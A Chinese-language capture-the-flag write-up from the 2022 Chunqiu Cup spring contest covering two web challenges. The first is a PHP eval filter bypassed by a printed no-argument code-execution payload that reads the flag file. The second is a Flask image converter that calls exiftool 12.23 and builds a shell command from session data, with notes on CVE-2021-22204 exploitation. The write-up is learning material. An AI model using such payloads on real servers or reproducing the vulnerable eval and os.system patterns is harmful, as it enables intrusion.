2022春秋杯春季赛

Web

Mercy-code

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}

显然是一个无参rce

我们通过搜索headers头查找到apache_request_headers()

经过测试发现end(apache_request_headers()可以获得80

然后通过三角函数我们尝试去获得46，chr(46)='.'

得到如下payload

ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46

然后我们找到flag位置输出即可

cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));

picture convert

import json
from flask import Flask
import hashlib
from flask import request,session
from flask import render_template
import os
import uuid

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)
Black_list = [b"metadata", b"$", b"qx", b'tmp', b'&#']


def check_data(data):
    for black_key in Black_list:
        if black_key in data:
            return True
    return False


def file_md5(s):
    return hashlib.md5(s.encode()).hexdigest()


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    type = request.form.get("type", "jpg")
    file_info = request.files['file']
    file_data = file_info.read()
    if check_data(file_data):
        return "No hacker"
    f = open("./static/images/tmpimg", 'wb')
    f.write(file_data)
    f.close()
    new_filename = str(uuid.uuid4()) + '.' + type
    session["filename"] = new_filename
    return "文件上传成功，其他模块还在开发中~~~"


@app.route('/info', methods=['GET'])
def info():
    json_data = {"info": os.popen("su - exif -c '/app/exiftool-12.23/exiftool /app/static/images/tmpimg'").read()}
    return json.dumps(json_data)


@app.route('/convert', methods=['GET'])
def convert():
    os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
    json_data = {"path": session['filename']}
    return json.dumps(json_data)


app.run(host="0.0.0.0", port=8888)

通过简单审计源代码，我们发现exiftool-12.23，猜测存在CVE

通过https://github.com/trganda/CVE-2021-22204生成exp文件获得flag1

这里用到了convert，本来以为还是一个CVE-2020-29599，利用后无果

尝试session篡改，因为无法获取密钥，所以只能想到注入